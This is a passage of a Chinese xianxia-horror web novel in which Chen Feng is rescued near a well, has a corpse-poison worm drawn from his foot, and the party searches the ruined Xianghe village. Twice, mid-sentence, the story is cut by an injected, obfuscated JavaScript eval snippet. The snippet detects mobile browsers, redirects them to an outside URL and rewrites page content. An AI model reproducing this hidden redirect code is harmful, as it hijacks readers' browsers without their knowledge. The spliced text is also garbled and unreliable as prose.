也是这一声,身边的白雾瞬间散开,一缕阳光直接射了下来,刺眼得让陈枫下意识地眯起眼睛。阳光驱散了阴冷,身后那股力道骤然消失,仿佛从未存在过。他喘着粗气,汗珠如豆般滚落,心跳仍未平复。 ‘不对,他们呢?’陈枫站起来,才发现走在他前面的三人已不见踪影,四周空旷得令人心悸。 “你跑什么啊!你见鬼了吗?”一个声音从背后传来,一记重重的巴掌拍到了自己肩膀上,陈枫猛地回头,一张熟悉又陌生的面孔映入眼帘,是昨日见过的少女——阿水。阿水眼神中带着几分戏谑,嘴角微微上扬,似乎对陈枫的狼狈模样感到好笑。 “你,你,你是人是鬼?”陈枫的声音颤抖,眼神中满是惊恐。 “你瞎了吗?你见过鬼光天化日的走来走去的吗?”阿水轻笑一声,拍了拍他的肩膀,“当然是人啦。”她的笑容在阳光下显得格外温暖,陈枫绷着的神经终于松懈下来,一下子躺在了地上,大口大口地吸着气。 “你怎么了?你真见鬼啦?”阿水撇来一个好奇的眼神,陈枫立马想到什么,大声喊道:“刚才是你拽我的衣服?” “是我啊。” “你这个逆贼!你拽我衣服干嘛!你是看我好看,要非礼我吗?”陈枫的话刚说完,阿水捏住水袋一用力,‘噗’,一股清水喷了陈枫一脸,吓得他猛地一激灵,阿水在一旁咯咯大笑:“非礼你!你是梦魇没醒吧!臭不要脸!好心办坏事,你自己看看你刚才要往前走的地方是哪!”陈枫顺着阿水手指的方向看去,才发现前方是一口井,挨近一瞧,井口边缘布满青苔,井水幽深,隐约可见倒影。陈枫倒吸一口凉气,若非阿水阻拦,自己恐怕已坠入井中。 “我,我怎么会往井里走。”陈枫喃喃自语,额头的冷汗还未干涸,眼神中透出难以置信。 “我怎么知道你,还给你,臭流氓还诬陷我,谁要非礼你这蓬莱城二世祖,呸。”阿水说完丢来一片衣物的碎片,正是刚才碎裂的衣衫一角。陈枫接过碎片,心中五味杂陈,满是疑惑,他抬头看向阿水,眼中闪过一丝复杂的感激:“你是人是鬼?” “你是白痴?你见过鬼有影子的吗?说多少遍了,你是不是真疯了啊?”阿水指着自己身下的影子,白了陈枫一眼。 陈枫望去,那确确实实是一个影子,温煦的阳光洒落,带来丝丝暖意,确认此时为白昼无疑。眼前的阿水,显然是个活生生的人。陈枫捏着手里的碎布,看了一圈周围,此处了无人烟,杂草丛生,两人所在的是一条山间小路,不知通往何处。陈枫问道:“我们这是在哪?” “香禾村后山打水处,还能是哪。”阿水在旁边的草丛里摘了几颗野果,嚼进嘴里,她觉得眼前之人一定是个疯子,在山间迷路,还乱吼乱叫,眉毛下面挂两蛋,能看不能用,看到有水井还往前走,差点没掉进去淹死。 “他们呢?昨天,昨天在你家,就是和我在一起那三个人呢?”陈枫焦急问道。 “我不知道啊,我一上山,就看到你在这了,呆头呆脑的要跳井。” “胡说八道,我哪里要跳井了,我明明,我明明是跟着他们走的!”陈枫急得直跺脚,脑海中闪过众多片段,那三人的身影模糊不清,却怎么也想不起具体的细节。 “你莫不是饿昏了头?产生了幻觉?你那三个同伴,说不定嫌你愚钝,将你弃于此地,独自归去了。”阿水嚼着野果嘲笑道,陈枫心中一沉,一下子抓住阿水的肩膀,眼神急切:“不可能!他们不会丢下我!这里肯定有什么古怪!” “哎,你说话归说话,别动手动脚的!”阿水被陈枫的疯狂模样惹毛了,一把抓起旁边的枯木,狠狠敲在陈枫的手臂上,疼得他立刻松手。“男女授受不亲,别动手动脚的,疯子色鬼!” “带我回去!带我回香禾村,他们一定在那!”陈枫急切叫喊。 “去那里干嘛,都是废墟。” “快带我去!快点!” “不去,我还有事呢!” “快走!快走!我给你钱,你不是最爱钱了吗,我给你!”陈枫摸了下腰,才发现没有钱袋子,这次出门是封鬼,没有带。 “没钱还装谱。”阿水嗤笑一声,丢掉手上的枯木道:“要去香禾村也不是不行,你喊我一声姑奶奶,再给我说一句,我错了,我就带你去。” “我干嘛要和你说我错了!”陈枫咬牙切齿。 “你昨天说的那些,难道没错?好,你不认错,我不带路,大路朝天各自走呗,再会咯疯子,不对,永不再见。”阿水挥挥手,往山上走去。 “姑奶奶,我错了!”陈枫咬紧牙关,喊出好大一声,都喊出了回声。阿水停下,转身停下脚步,嘴角露出一丝得意的笑:“这还差不多,跟我来吧。”她领头向山间小路深处走去,陈枫紧随其后,心中忐忑不安,脑海中不断回想着那三人的身影,试图拼凑出真相。 “这路怎么是往上走,香禾村不是在山下吗?”陈枫瞧着越来越陡峭的山路,疑惑地停下脚步,看向阿水:“你是不是故意耍我?” “姑奶奶我一言九鼎,说到做到,但是我又没说立刻带你去,等我办完我手上的事,我自然履行承诺。”阿水走在前头,头也不回地继续前行,陈枫这才注意到阿水挎着一个竹篮,满满当当地装着不少东西,用一块红布盖着,隐约透出一些食物的清香。 又走了一会,到了一个小山坡,阿水停下脚步,小山坡旁有两个鼓起的坟包,阿水轻手轻脚地走到坟前,揭开竹篮的红布,取出几样祭品恭敬地摆上,点上香,低声念叨着什么。念叨完,又取出一叠纸钱和火信,悠悠烧了起来。 “你这拜的是谁啊?” “我祖爷爷祖奶奶。” 阿水的话让陈枫想起,昨日在院落时,那老头说自己的父母就葬在香禾村,想来就是这里了。陈枫默默走到坟前,深深鞠了一躬,从阿水的竹篮里抽出九根香点燃,插在坟前的泥土里。阿水瞥了他一眼,未置可否,继续低头祭拜。香火缭绕中,陈枫心中涌起一丝莫名的哀伤,仿佛与这片土地有了某种难以言说的联系。 做完,阿水开始收拾祭品,将红布重新盖好,轻叹一声:“走吧,带你去香禾村。”两人沿着蜿蜒小路往下行走,还没走到刚才的位置,只听见‘咕噜’一声,陈枫低头看去,是自己的肚子在呐喊。从昨日到现在,他几乎粒米未进,饥饿感如潮水般涌来。阿水轻笑,从竹篮中取出刚才祭品里的一个糯米团子,递给陈枫:“吃吧。” “可,这不是祭品吗?”陈枫捏着食物,有些犹豫。 “祭品也是食物,心意到了就好。我们是农民,不是你们这些富贵人,祭品摆到烂扔掉再换新的,粮食种出来很辛苦的,先人也不舍得我们挨饿,他们吃完了我们再吃,有何不可。”说吧,阿水也拿出一个糯米团子啃了起来,一边啃一边走,还唱起了歌。 少女的嗓音并非天籁,但胜在质朴纯真,这一声声歌声,驱赶了不少陈枫心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133892|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头上的不安,陈枫捏着手里的糯米团子,狠狠地咬了一大口。团子没有任何辅料,只抹了点香油和盐,此刻进嘴,喷香无比,饿了一天的陈枫,三两下把拳头大小的糯米团子给吞完了。 “话说,你来这里祭拜,你不怕吗?”陈枫看着阿水嬉笑的脸,好奇地问道。 “怕什么?你说香禾村?”阿水说着话,又摘了朵野花别在头上。 “嗯。” “不怕,我小时候常常进村子里玩呢,不止我,附近的小孩都爱来这里玩,我们放牛都喜欢放在村外的那条河,然后跑来这里玩。” “这里不是闹鬼吗?” “我小时候是不闹的,是这两年才开始的,一开始是有个商队,赶去蓬莱城忘了算路程,前不着村后不着店,就到了香禾村,晚上在这搭伙休息,后来就全死这了。还是砍柴的经过这里,才发现死人了。” “死了人,不报官吗?” “报啊,可官不理啊。说这群人死时没伤口,货没丢,钱没丢,不像谋财害命,绿林也好多年前就被剿没了,猜测他们是吃了山里的毒蘑菇死的。从这开始以后,村子里就开始流传闹鬼的事了,说什么晚上有人在这打更,还有摇铃的,还说什么能看到以前住在这已经死了的村民,反正就是越传越邪乎,渐渐的就没人再来了。” “那你怎么还敢来?” “有什么不敢,不进村子就是了,而且今天是祖爷爷忌日,我爷身体不好,就算有鬼我也得来呀。” “你爹娘呢?” “十年前,蓬莱城重新翻修的时候,被招去做石工,被工地里的石块砸死了。”陈枫听罢,心中一沉,不敢再接话。“赔了五百两,真是笔大钱。”阿水停下了脚步,抬头看了一眼天,喃喃道:“呵,钱,谁说不是好东西,谁能不爱呢。” “对不起。”陈枫不知道自己为什么道歉,但事关蓬莱城,好像这事多少也和他牵扯上了关系,不由自主的,这三个字脱口而出。 阿水没接话,只一个劲往前走,拐了许多的岔路小陆,终于到了山脚下。山脚下的阴影中,隐约可见一道人影在焦急徘徊。待阿水和陈枫走近,才看清那正是赵明。他一见两人,先是身子一颤,像是见到了救星,随后认出陈枫,顿时嚎啕大哭起来。 “枫少,你没死啊!枫少,你去哪了啊!可把我吓死了!”赵明嚎啕大哭,声音之凄惨如同待宰的猪。 “你哭什么?谁和你说我死了?”陈枫满脸嫌弃地推开抱住自己哭的赵明。 “顾先生说的!他说无故失踪,定是你回了头,被鬼牵走了。”赵明抹了把眼泪,哽咽道:“他说你最反骨,肯定故意不按他说的做。” “他放屁!我还没说他术法低劣,害得我差点被死了,莫名其妙就被送到了山上去!”两人说话间,李明也从村子里走了出来,他身后正是顾青,李明看到陈枫,快速跑来抱住,和赵明一样哭着大喊:“枫少,你没死啊!” “怎么每个人都想我死啊?”陈枫无奈苦笑,觉得此刻被两个男的抱着哭十分肉麻,又一把推开。顾青冷眼旁观,淡淡道:“你到底去哪了!为何不按照我说的做!”语气虽温和,却透出一丝不容置疑的严厉。 “我还想问你去哪了!你倒先怪上我了!雾里剁人肉的市集,又是吃人的人泥沼泽,你好意思问我,你到底把我带哪去了!我脚踝上还有被它们抓住的痕迹,差点没命!”陈枫激动地卷起裤腿,露出几道深紫色的勒痕,如同一个掌印。 顾青眉头微皱,目光落在那勒痕上,靠近陈枫嗅了嗅:“这个味道?是鬼道?不对,怎么还有妖市的臭味?”顾青拉起陈枫的手臂凑近闻了一下,眉头皱得更紧了,顾青站起身,腰间一把横刀渐渐显现,顾青看着陈枫,严厉问道:“你是谁?是人是妖还是鬼?” 29.二十九、香禾村(四) “什么是人是妖还是鬼?”陈枫一愣,随即怒道:“你什么意思?我当然是人!”顾青冷哼一声,刀尖指向陈枫:“你身上的气息不对,不解释清楚,休怪我不客气。”赵明和李明见状,忙上前劝阻:“顾先生,枫少怎么会是妖,是不是哪里弄错了?” “不会错,他身上有鬼和妖的味道,而且很新鲜。”洛水举着横刀,眼里满是不信任。 “他是妖?不会吧,我在山上发现他的时候,他正准备跳井呢,他只能是个神经病。”阿水看着眼前这四人,只觉好笑,一言不合就拔刀相向。洛水闻言,有些诧异道:“阿水姑娘,你怎么在这?” “今天我祖爷爷忌日,我来拜一拜呀。”阿水轻笑,指了指身后山路:“要不是有我,他差点成了我祖爷爷的邻居。”顾青眼神复杂,收起刀:“阿水姑娘,此事非同小可,你可别为他开脱。” “我为他开脱什么,我和他又不熟。再说了,他不是你徒弟么,他是什么你弄不清吗?”阿水在一旁找了块石头,拍了拍,从篮子里掏出一个果子,随意咬了一口,漫不经心道:“你们一个个疑心病这么重,瞧瞧把这小子吓得,魂都快飞了。”阿水的话让顾青沉默片刻,目光转向陈枫,语气稍缓:“若你是人,需证明自己。”陈枫深吸一口气,解开衣襟,露出胸口的护身符:“这是你给的,能驱邪避妖。” “哎呀,还真是你本人,差点忘了我还给了你护身符了。”洛水哈哈一笑,手中横刀消失不见。 “腌臜散修!我要杀了你!”陈枫尖叫着祭出法器,如离弦之箭般冲向洛水,却猛然脚下一滞,伴随着‘哎哟’一声惨叫,狼狈地摔倒在地。洛水拿出两张符箓,说道:“脱了你的鞋袜。” “不要!”陈枫有些赌气,洛水看向李浩和赵明,说:“压着他,我给他治病。”陈枫挣扎无果,李浩和赵明迅速上前将他按住。“你们这两个叛徒!放开我!” 洛水毫不犹豫地蹲下身,目光锐利地审视着陈枫的脚底,随后一把擒住他的脚踝,利落地扯掉了鞋袜。顿时,一股难以言喻的恶臭弥漫开来,众人不由自主地捂住了口鼻。陈枫的脸色瞬间涨得通红,羞耻与愤怒交织,他怒吼着:“不是我脚臭!” “是尸臭味。”洛水眉头紧锁,点燃手中符箓后绕着陈枫的脚底轻轻一扫,随后重重一压,符箓贴在了陈枫脚心。“阿水,扯一块他的衣服做布条给我。”阿水没想到自己也有活,但还是依言扯下陈枫一方衣角,撕成布条递给洛水。 洛水拿着布条,用力缠住陈枫的脚踝,手法熟练地打了个结,陈枫的脚很快就因为血液不通而变紫。洛水抽出怀中玉扇,对着旁边一根竹子甩去,‘唰唰唰’玉扇几下把竹子削成十几段竹筒,洛水手掌一握,其中一截竹筒被抓取过来,洛水把第二张符箓点燃后塞入竹筒,对准陈枫脚心,低喝一声:“疾!”竹筒内符箓瞬间燃尽,一股青烟冒出,洛水快速把竹筒盖在陈枫脚心。 陈枫痛得闷哼一声,脚心传来灼热感,汗水浸湿额头。肿得发紫的脚掌,皮肉之下似是有什么东西在动,先是浅浅的若隐若现,很快是剧烈挣扎,在皮下隆起一大条,陈枫痛得脸色发白,尖叫连连之余,身体不住颤抖。 ‘啵’竹筒内一声闷响,洛水再掏出一符,口中吟诵法诀,纸张符箓变得硬如铁片,洛水拿着符箓对着竹筒与脚底板中间一插,竹筒被拔开,一股黑血喷涌而出,洛水不慌不忙,再诵法诀,符箓由硬变软,瞬间延长许多,绕着竹筒打转,很快便将竹筒严严实实地包裹起来。 “禁!”洛水手指一点,符箓上化出无数的‘禁’字,竹筒不住地抖动,但很快,竹筒就没了动静。其余四人目瞪口呆地看着洛水这一套行水流水的操作,心中暗自佩服。洛水站起身,拍了拍手:“弄点草木灰,给他敷上吧。” “什么是草木灰?”李浩和赵明一脸茫然。 “你们蓬莱城的人蠢到连草木灰都不懂?天呐。”阿水从篮子中掏出火信和几张祭拜的纸钱,在身边草垛里找了找,寻出一些干燥的草叶和树枝,点燃后迅速烧成灰烬,小心翼翼地捧起,轻轻敷在陈枫脚底的伤口上。灰烬刚触肤,便发出细微而急促的‘嘶嘶’声,如同烈火在肌肤上轻舔,陈枫紧咬牙关,额间汗水如断了线的珠子般滚落,浸湿了衣襟。阿水手法轻柔,敷完后又撕了陈枫衣衫一角用作布条仔细包扎。渐渐地,陈枫的脚底不再传来剧痛,洛水解开先前绑在脚踝的布条,血液逐渐恢复流通,陈枫的脚也慢慢恢复了正常颜色。 “顾先生,这是什么啊?”赵明指了指被洛水扔在地上的竹筒。 “想看?很恶心哦。”洛水一脸坏笑,陈枫羞红了脸,毕竟这东西是从他脚底出来的,好像怎么都和他有些关系。 “想。”几个少年齐声应道,好奇心驱使他们凑近。洛水弯腰拾起竹筒,手指一点,竹筒上的符箓燃烧消失,手腕一转,竹筒口朝下,一截通体黑色但胖乎乎的虫体掉落,仔细看,那虫子身上还有点点红色,扎在黑皮上十分怪异恶心。这虫已奄奄一息,看起来是活不成了,张着嘴蠕动虫身,仔细听还能听到微弱的黏连吱呀声,更加令人作呕。 “咦,这是什么东西,怎么比蚂蟥还恶心。”阿水最先捂住口鼻,眉头紧皱。李浩则后退几步,脸色苍白。赵明强忍着胃中的翻腾,小心翼翼地凑近观察,不由得惊叹出声:“这虫子那么粗是怎么爬进枫少脚底的?” “这不是虫子,这是尸毒。”洛水随地捡了根树枝戳了戳虫体,虫身立刻蜷缩成一团,发出令人牙酸的声响。“而且这是用法术驱动的高级尸毒,一般的尸毒都是在血尸这等下作妖物体内滋生,但这只却是经过特殊炼制的,能潜入人体,吸取精血,极其阴毒。这等东西,只有鬼道才有。” “什么是鬼道?”赵明又问。 “这个解释起来太复杂,以后有机会再和你们说。我只知道一件事,陈枫你的体质过于阴邪,如遇阴鸷之物,极易被其引走。今早的白雾就是如此,我与他们两人在雾里行走并无不妥,待太阳出来逼散雾气时,你已经不见了,显然你是被什么东西牵引了去。”陈枫听后,心中一凛,回想早晨的情形,不禁后怕。 “是什么东西会牵引枫少啊?”李浩也加入了提问行列。 “这个世界有很多不同的领域,只有人的领域是最稳定的,其他的领域都依托在人界之下,而体质阴鸷之人,就容易从人界误闯入这些不属于人的领域。但具体为什么,我也不知,一些孤本上猜测,人时运低,出生的时辰不好,又或者血里混了其他的东西,都会引起这种情况,但太少见,很难给出解释。” “那枫少以后岂不是很危险?”赵明露出担忧神情。 “你今日脱离那些诡异场景,是有什么引导你吗?”洛水提问,陈枫略作思索,缓缓开口:“是铃声引导我,每当铃声响起,场景便随之变换,直至最后,那铃声又将我引至了山上。” “是这个铃声吗?”洛水从怀中掏出一枚小巧的银铃,轻轻一摇,清脆的铃声响起,陈枫点头道:“没错,就是这铃声。” “可这,只是个普通铃铛,我只是拿来做提醒用,连法力都没注入,如若有效,便送你吧,希望你不会再遇到了。”洛水手一抛,一枚铃铛落入陈枫手中,听着熟悉的铃铛声,陈枫稍感安定。 “好了,你们闹完了,我也该走了。”阿水拍拍身上的尘土,准备离去,陈枫似乎想起什么,忙开口叫住阿水:“额,阿水姑娘,能不能把篮子的祭品也给一些他们,他们也很久没吃饭了。” “啊?这是我和爷爷奶奶今天的吃食,给了你我们吃啥。”阿水皱眉。 “带钱了没?”陈枫看向李浩和赵明,两人摆摆手,腰间也是钱袋空空。 “阿水姑娘,这是一枚上等灵石,可以换约莫一百两白银,可以买下你的这些吃食吗?”洛水掏出一枚浅蓝色的石头,阿水眼睛一亮,接过灵石仔细端详,点头道:“好啊好啊,天呐,真的是灵石!” “那你们慢慢吃吧,我走了。”阿水放下篮子,一蹦一跳地往村口走去,身影渐渐消失。 “有啥好吃的?快快快,我快饿死了!”赵明连忙端过篮子,揭开红布,一瞧,里面是几个糯米团子,三个白面馒头几个果子和一囊水。“啊?一枚上等灵石就换了这点东西啊!” “有你就吃吧,还挑三拣四的,你以为在蓬莱城呢!”陈枫最先抓过一个糯米团子,咬了一口,软糯香甜,不禁感叹:“太好吃了。” 李浩和赵明看到平日里最挑嘴的陈枫吃得如此满足,也赶紧拿出糯米团子啃了起来,此时三人已是饥饿到了极点,再普通的吃食也成了珍馐美味。 “顾先生,你不吃吗?”李浩注意到一旁的洛水正四处张望,似乎在寻找什么。 “不吃,你们吃吧,别一次性吃完了,你们可就只剩这点吃的了,谁知道还要熬多久。”洛水一边吩咐一边用目光扫过山林,眉头微皱,轻声道:“真是个不折不扣的大凶风水局啊。” “顾先生,可有不妥?”李浩咬着糯米团子走过来问道,洛水不语,直盯着眼前这个处处是倒塌废墟的村子,明明此刻的太阳正高悬天际,洛水却觉得身后隐隐发凉。 “看不出来,只是觉得很不妥,进村后,你们要时刻注意。” 吃食时间并未太久,三人迅速吃完,收拾一番后,四人一同进了村。 香禾村说大不大,说小也不小,村口立着一座牌坊,牌坊上刻着“香禾古村”四字,字迹斑驳,而且牌坊被浓烟熏得焦黑,岁月久远,还有无数的青苔杂草纠缠在此,如若不仔细辨认,几乎难以看清。四人穿过牌坊,踏上坑坑洼洼的青石板路,每一步都伴随着青苔的滑腻。两旁的房屋大多已成废墟,断壁残垣间,阴冷的气息如同幽灵般徘徊,令人心生寒意。即使已过去了十年,此处还能隐隐闻到一些焦糊味。木制建筑烧毁后,又经历年岁的侵蚀,早已腐朽不堪,还有一阵阵的腥臭味,随风飘来,令人作呕。 四人小心翼翼地前行,每一步都踏得极为谨慎。不一会,四人就来到了村中心的一片空地,空地上堆满了乱石和枯枝,几只乌鸦从废墟中飞起,发出刺耳的叫声。李浩不禁打了个寒颤,赵明紧握手中的长剑,警惕地环顾四周。空地中央,一座破败的石碑斜插在地,碑文模糊不清,洛水拿起一块地上的石头,刮去碑文上厚厚的青苔,以及青苔下黑乎乎的烟渍,弯腰仔细辨认碑文。 “上面写了什么?”陈枫也好奇地凑过来,盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147132|164160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石碑。 “已经被刮花了,似乎有谁拿这个石碑当磨刀石,你看,这里,这里,还有这里,都是刀痕,大概有上百道吧,剩下的字都拼不成句子了。”洛水无奈地摇头。 “接下来要做什么?”李浩环视四周一圈后问道。 “现在是什么时辰?” “将近午时。” “那是个好时间,正气阳气最足的时候,你们先散开,各自瞧瞧有什么发现,然后回来汇报,还有,这是爆炸符,我只带了八张,现在一人两张,此符威力巨大,遇险时可用,我听到声音也会立刻赶去。”洛水掏出八张红色符箓,自己拿走两张,剩下的分给三人。三个少年接过符,脸色都隐隐一红,如若不是自己不顾后果只拿硬兵器,现在也不至于如此被动。 他们各自揣好符箓,便分头行动。赵明脚步轻盈地迈向左侧的废墟,李浩则谨慎地朝右侧探索而去,陈枫则坚定地往村子后方搜寻,他们的脚步声在空旷的村中回荡,激起一阵阵回声。洛水则目不转睛地审视着周围的废墟,试图从中捕捉到一丝线索。他轻抚着墙垣,心中默默御动灵力,然而,灵力却如同投入深渊的石子,悄无声息,毫无回应。 ‘果然,在这种事上,灵力根本没用。’洛水回头看了看四周,确定身后没人后,走进一处废墟挡住了自己的身形,随后闭上双眼进入神识空间,催动元神中那一丝微弱怨气。怨气从身体内流出,如丝一样游进了墙垣,怨气开始在墙垣中蔓延,逐渐渗透进每一块砖石,它在寻找同伴,很快,怨气便感觉到了回应,一瞬间,周遭涌入铺天盖地的怨气,瞬间裹住洛水放出的那一丝,紧接着,无数的惨叫声在神识空间里回荡,无数的影像在洛水意识里闪现。 到处都是人的惨叫声,冲天的火光带着热浪卷来,空气之中烧焦的气味令人窒息。马蹄轰鸣,哭号声此起彼伏,铁刃切割□□的凄厉与铁甲相撞的铿锵交织成一片,宛如人间炼狱。人们或仆倒在地,或挣扎着站起,转瞬又被无情地砍倒,猩红的血水渐渐吞噬了大地,断肢残骸散落如秋叶。骑马的那些人,如同地狱恶鬼,挥舞着长刀,狂笑着收割生命。男的被切断头颅,女的被拉到草丛之中,不断有惨叫传出,又很快一声惨叫没了声响。孩童被抛向空中,重重落地。洛水紧咬牙关,竭力抑制着心中翻涌的恐惧,那怨气却愈发汹涌澎湃,影像也愈发鲜明,仿佛他自身正置身于那无边的苦难之中。忽然一把刀横扫而来,直冲洛水面门,他下意识闭眼,影像也戛然而止。 洛水缓缓睁开眼,额间已布满细密的汗珠,他深吸一口气,极力将胸中的压抑一并吐出,随后无力地倚靠在残垣断壁之上,缓缓坐下。并非洛水害怕此种场景,而是怨气被强行同步,数百人死前的惨烈情绪瞬间涌入,让洛水感到心神俱疲。 ‘此地的怨气,竟深至如此地步。可如此深厚的怨气,怎么会没有魔道插手?’洛水心中疑惑更甚,如今听闻,魔道天然怨气穴窝被正道毁了不少,按理说魔道为寻怨气应该更频繁地出没在各地才是。而这里,怨气深重且浓厚,均是枉死之人留下的怨气,作为魔道理应趋之若鹜,却为何不见踪影?若说此地是正道地盘,魔道不敢擅自涉足倒也说得过去,可这里是蓬莱城管辖范围,中立地段,且离蓬莱城不过百里,稍微有点修为的魔道都该感应到此处怨气才对。 ‘感应?不对!’洛水心中一震,突然意识到,他也没感应到怨气!洛水仔细回想,进入村子前确实毫无察觉。从青石镇走来,一路上并未有任何异样,即使是清晨的妖邪白雾,也未曾感应到半分怨气,如若不是自己刚才催使元神感应,恐怕也难以识别出怨气的存在。 ‘结界!’洛水心中闪过一丝明悟,这村子必定被某种强大结界所笼罩,屏蔽了外界的一切感知。如此一来,魔道未能察觉也在情理之中。可这结界究竟是何人所布,目的何在?一个小村子,并不富裕,为何要耗费如此大的力量布下屏蔽感知的结界?洛水眉头紧锁,心中疑云重重。 “顾先生,你在哪?”一个声音传来,是李浩,声音有些着急,还带着点兴奋。洛水重新站起,拍了拍衣服,走出废墟,说道:“我在这。” “你瞧,我找到了这个。”李浩手中捧着半截断剑,剑身锈迹斑斑。洛水接过,指尖轻触剑身,一股冰凉直透心底。 “这剑怎么了?值得你拿回来。”洛水有些疑惑。 “我也不知道有啥用,转了一圈,只见一个破旧废木箱下压着这东西,别处都朽了,它却没事,可能挺有用的。”李浩说着还有些得意,洛水却是哭笑不得,这蓬莱城的富家子弟,以后可怎么独挑大梁啊。 “这就是把废剑,铁剑要被彻底朽完哪有那么快,起码十几年吧。” “啊?这么久?难道这个村里的人都用木剑?怎么只见这个铁家伙?”李浩挠挠头,有些泄气地把破剑丢在地上。 “好了,再去找找吧。”洛水说完,李浩又立刻跑去搜索了,洛水未动,找了块石头坐下,刚才的怨气共鸣让他心有余悸,心口还是有点凉。 ‘好久不曾感受过恐惧的滋味了。’洛水手掌覆着胸口,如此想着。 “顾先生,快来看!我找到好东西啦!”赵明飞快跑来,一脸的兴奋。 30.三十、香禾村(五) 赵明飞快跑来,手中像是捂住了什么宝贝,一脸兴奋地小跑过来。 “顾先生,你瞧,这是什么?”赵明跑到洛水跟前,摊开手心,露出一点盖着青苔和烟灰的颗粒。这颗粒露出的一角在阳光下闪烁着微光,洛水小心翼翼地接过,细细打量,眼中闪过一丝惊讶:“这是金子?” “我刚才瞧着就觉得像,我家库房里年前被老鼠灌了洞,引来了许多水,等发现的时候,库房已被灌了半年之久了,里面的金器抬出来时就和这个一个样,想必是被污物浸染太久了。”赵明有些得意地说道。 “你家也挺有钱哈,金库进水泡了半年才发现。”洛水笑着调侃了一句,随即拿着颗粒在赵明的衣服上轻轻擦拭,污渍褪去,金子特有的光泽逐渐显现。“果真是金子,是在哪里发现的?” “我带你去!”赵明领着洛水穿过村中小径,来到一片荒废的地方,杂草丛生,隐约可见旧时房屋的基石。赵明指着一块松动石板,“就在这儿看到的!”洛水蹲下身,此处泥土与其他废墟并无不同,他退出废墟又看了看,废墟里的物件显示这也只是一户普通人家,并非什么金器首饰店铺。 “顾先生!我也找到东西了!”李浩手里攥着一块泛绿的铜片,兴奋地跑来。李浩把铜片递给洛水,只见铜片上镌刻着斑驳的纹路,隐约透露出它曾是某个钱币残片的痕迹。洛水接过铜片,仔细比对,确实是钱币,币上写着“大齐通宝”四字,洛水眉头紧锁,脸色瞬间阴沉下来,显露出不悦的神色。 “大齐通宝?这是哪国的币呀?我家有九州各国钱币的收藏,就没见过有一个叫‘大齐’的。”赵明疑惑地挠头,“难道这是某个鲜为人知的小国所铸造的?” “呆子!让你多看书少去欢乐坊听话本子,连大齐都不知道。大齐国乃许久以前曾一统九州的强国,后因疯王乱世,欺压鱼肉百姓,被九州各地藩王举兵绞杀,从而灭国,算来存世不过百年,所以其钱币极为罕见。此币若真,价值远胜你手中那金粒。”李浩在一旁解释道,赵明听后恍然大悟,拍了拍脑袋:“你说的是几千年前的那个大齐啊?这我知道,我还以为九州又有新的国冒出来了。” “如若这币是真品,想来也有两千五百多年的历史了,大齐国建都在洛水之畔,蓬莱城远在东海,那时还是个渔村,更别提什么海路贸易了,大齐国只存世百年,钱币能流通至此的肯定更少。这枚‘大齐通宝’出现在这里,绝非偶然。”洛水脸色不悦,把钱币放回李浩手中,问道:“你出发前有查过资料,知道香禾村是何时建立的吗?” “知道!约莫是八十年前建村的,当时的蓬莱城主为摆脱蓬莱城粮食严重依赖内陆的情况,出资在蓬莱城管辖范围内的荒地建村,吸引内陆农民迁徙至此,香禾村就是那时候建村的。我略看了一眼香禾村的人口户籍簿,都是那时自九州各地迁徙来的人,被蓬莱城随机安置在此的。”李浩认真回答。 “两千五百年前的王朝钱币,出现在这个几十年前才建起的村子,而这村子又被绿林屠戮,这其中应该有一些关联。”洛水心中疑云重重。赵明皱眉道:“难道村子藏着什么秘密?可惜那些幸存者已经四散逃亡,否则我们还能从他们口中了解香禾村的更多情况。” “昨天的农夫大爷,不就是香禾村的人吗?要不我们折返回去问一下,也才十里地,一会儿就到了,刚好可以去找他买些粮食。”李浩提议,洛水点头道:“也好,或许他能提供些线索。对了,陈枫呢?” “对哦,我们喊那么大声,怎么也不见枫少回来看看呢?”赵明四下张望,眉头紧锁:“会不会没听到。” “这村子才多大啊,绕一圈都花不了一炷香。”李浩回应道。 “糟了!”洛水脸色瞬间大变,身形一闪便朝着陈枫方才离去的方向疾奔而去,李浩与赵明见状,虽不明所以,却也毫不犹豫地紧随其后。三人穿过村子的中心废墟,快步跑向村子后方,这一方没有被烧毁得过于严重,还是有一些存留的房屋,但也破败不堪。洛水边跑边喊:“陈枫!你人在哪?”声音在废墟间回荡,却无人回应。在一处半倒塌的房屋前,洛水突然停下脚步,指着地上一串凌乱的脚印:“看!”李浩和赵明仔细辨认,果然是有一圈乱七八糟的鞋印。 因为陈枫刚拔除脚底尸毒,一深一浅的脚印格外显眼。但在陈枫的脚印之上,还有另外的脚印,这陌生的脚印比陈枫的大上一圈,一瞧便知是成年人的脚印。洛水举手轻嘘,示意众人安静,随后他小心翼翼地循着脚印前行。脚印在废墟间曲折蜿蜒,最终隐没于一片茂密杂草之中。洛水抬眼望向杂草蔓延的方向,眉头紧蹙,这杂草所去的方向,是通往后山的。 “顾先生,枫少是不是被山贼挟持了?”赵明低声问道,脑子里立刻闪过各种话本子里听来的绿林山贼的故事。洛水摇了摇头,目光锐利:“可能是陈枫认识的人。” “啊?你怎么知道?”李浩好奇地问。 